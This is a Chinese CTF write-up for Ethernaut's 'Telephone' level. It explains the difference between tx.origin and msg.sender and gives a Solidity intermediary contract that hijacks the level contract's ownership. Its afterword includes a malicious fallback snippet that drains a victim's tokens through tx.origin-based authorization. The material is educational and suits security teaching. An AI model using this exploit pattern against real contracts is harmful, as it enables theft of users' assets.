4. Telephone
Chain: Goerli
Difficulty: ●○○○○
Level: https://ethernaut.openzeppelin.com/level/0x466BDd41a04473A01031C9D80f61A9487C7ef488
通关要求
创建当前关卡合约实例后,调用 await contract.owner()
发现 owner 并不是当前钱包地址。那通过要求就是将 owner
变更为当前钱包。
分析合约
1 | // SPDX-License-Identifier: MIT |
在 constructor
构造函数中可以看出,owner 是通过 msg.sender
进行初始化。
在 changeOwner
函数中只有 tx.origin
和 msg.sender
不相等时,才将 owner
赋值。
至此,引出两个不同的变量 tx.origin
和 msg.sender
:
tx.origin
: 指调用智能合约功能的账户地址,只有账户地址可以是 tx.origin
msg.sender
:指直接调用智能合约功能的帐户或智能合约的地址。
当以智能合约调用智能合约时,msg.sender
在被调用的智能合约中,会是调用者智能合约的地址,而 tx.origin
则是最初调用智能合约的个人钱包地址。
所以,在创建当前关卡合约实例时,是通过关卡合约进行创建,当部署 Telephone
这个合约时,msg.sender
的值为当前关卡合约地址,而不是当前钱包地址。
解题实现
首先打开Console,获取当前关卡合约实例地址
instance
;打开 Remix IDE,创建文件
Telephone.sol
,粘贴以下代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
interface ITelephone {
function changeOwner(address _owner) external;
}
contract Telephone {
address levelInstance;
constructor(address _levelInstance) {
levelInstance = _levelInstance;
}
function changeOwner() public {
ITelephone(levelInstance).changeOwner(msg.sender);
}
}在constructor 填入当前关卡合约实例地址后部署。
再调用
changeOwner
函数,完成关卡。
后记
这个例子比较简单, 混淆 tx.origin
和 msg.sender
会导致 phishing-style 攻击, 比如this.
下面描述了一个可能的攻击.
使用
tx.origin
来决定转移谁的token, 比如.1
2
3
4function transfer(address _to, uint _value) {
tokens[tx.origin] -= _value;
tokens[_to] += _value;
}攻击者通过调用合约的 transfer 函数是受害者向恶意合约转移资产, 比如
1
2
3function () payable {
token.transfer(attackerAddress, 10000);
}在这个情况下,
tx.origin
是受害者的地址 (msg.sender
是恶意协议的地址), 这会导致受害者的资产被转移到攻击者的手上.